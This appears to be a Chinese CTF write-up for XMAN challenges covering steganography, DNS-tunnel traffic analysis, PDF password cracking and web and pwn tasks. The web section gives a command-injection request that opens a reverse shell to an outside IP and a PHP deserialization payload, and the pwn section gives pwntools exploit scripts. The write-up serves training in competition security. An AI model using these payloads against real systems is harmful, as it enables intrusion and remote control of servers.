(MISC) Prety Cat
strings filename.jpg
在 jpg 的空域中發(fā)現(xiàn)兩個類似Base64的字符串
解碼然后連起來
(MISC) Green_Code
下載流量包 , WireShark打開
很明顯就可以看到許多DNS的流量包 , 向 8.8.8.8 查詢某域名的A記錄
image.png
看起來像是 Base64
其實熟悉 Tcp Over DNS 的小伙伴兒一眼就能想到這是通過 DNS 傳輸數(shù)據(jù)
這里其實挺奇怪的 , 正常情況下
利用 DNS 傳輸數(shù)據(jù) , 應該是接受者可以控制一個域名的權(quán)威服務器
然后將要傳輸?shù)臄?shù)據(jù)以域名中可以使用的字符進行編碼
作為子域名構(gòu)成一個新的域名
然后按照固定的順序?qū)@個新的域名進行請求
然后在這個域名的權(quán)威服務器上就可以接收到編碼后的數(shù)據(jù)
根據(jù)編碼規(guī)則再解碼即可
但是這道題挺奇怪的 , 并不是查詢百度的子域名
感覺流量包的場景不太對
猜想可能是攻擊者在內(nèi)網(wǎng)中已經(jīng)劫持了內(nèi)網(wǎng)的域名服務器(這里我不太確定 , 暫時不是很清楚)
我的理解應該是 :
data[min, max].encode("base64")+".baidu.com"
然后我們要根據(jù)時間順序來將所有的這種DNS查詢都導出 , 然后再Base64解碼
這里前幾天學到的 tcpdump 剛好可以派上用場
tcpdump -s 0 -n port 53 -r 0be46d01-29d6-4052-9211-da85cfc922c6.pcapng
# 然后使用 baidu 對其進行過濾
tcpdump -s 0 -n port 53 -r 0be46d01-29d6-4052-9211-da85cfc922c6.pcapng | grep baidu
# 然后使用 awk 提取出其中的 Base64
tcpdump -s 0 -n port 53 -r 0be46d01-29d6-4052-9211-da85cfc922c6.pcapng | grep baidu | awk -F '.' '{print $12}'
將其重定向到一個文本文件 , 然后使用 python 逐行讀取
image.png
將其打印出來以后發(fā)現(xiàn)存在
'a98', 'FIG'
image.png
應該是一個 GIF 圖片, 因為 GIF 圖片的文件頭是 GIF89a
或者直接使用 cat log | base64 -d
也可以發(fā)現(xiàn)文件頭
image.png
with open("data.gif", "wb") as image, open("log") as f:
for line in f:
image.write(line.decode("base64")[::-1])
data.gif
有黑白的塊在閃爍 , 猜想可能是一種信號的編碼
使用工具將其所有幀導出 , 該圖片幀數(shù)為 625 , 恰好和 25x25 的二維碼一致
而且題目名稱也為 QRCODE
這樣思路就比較明確了 , 將這里的所有幀拼起來 , 組成一個二維碼即可
image.png
image.png
每一張圖片都是 8x8 , 因此我們只需要創(chuàng)建一個 8x25 即 200 * 200 的圖片來保存這個完整的二維碼即可
#!/usr/bin/env python
from PIL import Image
Im = Image.new("L", (200, 200))
for x in range(25):
for y in range(25):
filename = "IMG%05d.bmp" % (x * 25 + y)
im = Image.open(filename)
Im.paste(im, (x * 8, y * 8, x * 8 + 8, y * 8 + 8))
Im.save("result.bmp")
result.png
暫時只做到這一步 , 比賽結(jié)束后問過了出題人 , 出題人說需要了解二維碼的編碼原理 , 手逆二維碼
找到一個二維碼ISO標準
(Misc) PDF_HACK
C:\Users\WangYihang\Desktop\pdfcrack-0.11>pdfcrack.exe -f data.pdf -w password.l
ist
PDF version 1.7
Security Handler: Standard
V: 2
R: 3
P: -4
Length: 128
Encrypted Metadata: True
FileID: 2923be84e16cd6ae529049f1f1bbe9eb
U: b9816d83ce3d5f690a988085997fc0a528bf4e5e4e758a4164004e56fffa0108
O: 677e06f73b20cb0e76b396c4e1dc12db7f827ba900fd813477d1c45c11d07ddd
found user-password: '20170716'
```
---
#### (Web) WElCOME2IRC
![image.png](http://upload-images.jianshu.io/upload_images/2355077-29adb4ec463dcc5b.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
---
#### (Web) Variacover
![image.png](http://upload-images.jianshu.io/upload_images/2355077-e4a01e7491805726.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
---
#### (Web) UrlDecode
```
將XMAN兩次URL編碼傳入
```
---
#### (Web) php Seri
```
http://challenges.xctf.org.cn:7774/?code=O:9:%22FileClass%22:1:{s:8:%22filename%22;s:57:%22php://filter/read=convert.base64-encode/resource=flag.php%22;}
```
---
#### (Web) php
```
http://localhost/php/?aaa=0x1&bbb={%22ccc%22:%22999999a%22,%22ddd%22:[[%22XMAN%22,%221%22],%22XMAN%22]}
但是沒有搞出來
```
---
#### (Web) Download
```
1. 掃描得到 README.md (得知是使用了 Codiad 一個WEB IDE)
# README.md
# Codiad Web IDE
Codiad is a web-based IDE framework with a small footprint and minimal requirements. The system is still early in development, and while it has been proven extremely stable please be sure have a backup system if you use it in any production work.
Keep up to date with the latest changes and news on **[Twitter](http://twitter.com/codiadide)** or **[Facebook](http://www.facebook.com/Codiad)**
For more information on the project please check out the **[check out the Wiki](https://github.com/Codiad/Codiad/wiki)** or **[the Codiad Website](http://www.codiad.com)**
Distributed under the MIT-Style License. See `LICENSE.txt` file for more information.
```
通過測試發(fā)現(xiàn)存在搜索功能 , 可以直接搜索 php 文件 , 搜索路徑部分可控 , 但是無法穿越到上層
但是通過 BurpSuite 抓包發(fā)現(xiàn)事實上搜索的匹配結(jié)果也是顯示出來的 , 只不過沒有在 Web 上面顯示
而且對搜索的字符串沒有進行過濾 , 這樣思路就比較清晰了
其實就類似于代碼審計的過程
可以利用這個搜索接口來搜索危險的php函數(shù)
發(fā)現(xiàn)搜索 shell_exec 可以得到如下結(jié)果
![image.png](http://upload-images.jianshu.io/upload_images/2355077-414e16fb184e3970.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
```
命令如下:
$output = shell_exec('find -L ' . $this->path . ' -iregex \".*' . $this->search_file_type . '\" -type f | xargs grep -i -I -n -R -H \"' . $input . '\"');
再進一步對這個 shell 命令中的參數(shù)進行溯源 , 發(fā)現(xiàn) input 參數(shù)比較容易利用而且似乎并沒有過濾
這樣就直接造成了命令執(zhí)行
但是好像并沒有回顯
本地搭建類似環(huán)境進行測試
shell_exec 這個函數(shù)中是可以使用換行符的
也就是說 , 只要其中的某一個參數(shù)可控 , 就可以執(zhí)行任意命令
view-source:http://localhost/exec/?p=.&t=1111111%22%0aping%20-c1%20120.24.215.80%0agrep%20%22111111&i=11111
最終利用該漏洞反彈shell即可
```
![image.png](http://upload-images.jianshu.io/upload_images/2355077-5e7c668229c607e6.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
```
POST /components/filemanager/controller.php?action=search&path=admin&type=0 HTTP/1.1
Host: challenges.xctf.org.cn:7775
Content-Length: 137
Accept: */*
Origin: http://challenges.xctf.org.cn:7775
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://challenges.xctf.org.cn:7775/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: 40d1b2d83998fabacb726e5bc3d22129=dfbb133e60a03591b2b19fc1c3203ea6; token=egjrjA4NB4wDHMX5CSDDxAzIEGqt8dq8
Connection: close
search_string=1&search_file_type=1111111"%0a%2Fbin%2Fbash+-c+%27sh+-i+>%26+%2Fdev%2Ftcp%2F120.24.215.80%2F8888+0>%261%27%0agrep%20"111111
```
---
#### (Web) Upload
```
# 聽大佬說是上傳 .htaccess 最終 getshell , 先挖坑 , 復現(xiàn)了以后再寫
不能上傳 phtml php5
上傳 php3 php4 phps pht 不會解析
```
#### (Web) XSS
```
# 利用 link 的 prefetch 屬性繞過 csp
<link rel='prefetch' >
查看返回 referer
然后手動訪問 , 在 cookie 中發(fā)現(xiàn) flag
```
---
#### (Pwn) Taaa
```
# 很基礎(chǔ)的格式化字符串修改變量
# 目標內(nèi)存地址在棧上 , 可以直接通過 %N$hhn 的形式對其覆蓋
# 然后在這個格式化字符串之前填補長度為 85 的 junk 即可
#!/usr/bin/env python
from pwn import *
# Io = process("./fmt")
Io = remote("challenges.xctf.org.cn", 14001)
payload = "A" * 0x55
payload += "%9$hhn"
Io.sendline(payload)
Io.interactive()
```
---
#### (Pwn) Caaa
```
# 棧溢出覆蓋返回地址 , 存在 hack 函數(shù) , 直接跳轉(zhuǎn)到 system("/bin/sh") 即可
#!/usr/bin/env python
from pwn import *
# Io = process("./Caaa")
Io = remote("challenges.xctf.org.cn", 14000)
junk = "A" * 40
hackInfo = p64(0x40078F)
payload = junk + hackInfo
Io.sendline("1")
Io.sendline(payload)
Io.interactive()
```
---
#### (Crypto) Maxonic
```
豬圈密碼 題目提示 XMAN{----flag----}
豬圈密碼解出來 : THE ANSWER IS FLASE
嘗試了各種flag格式
純小寫 , 加空格 , 沒有 ----
```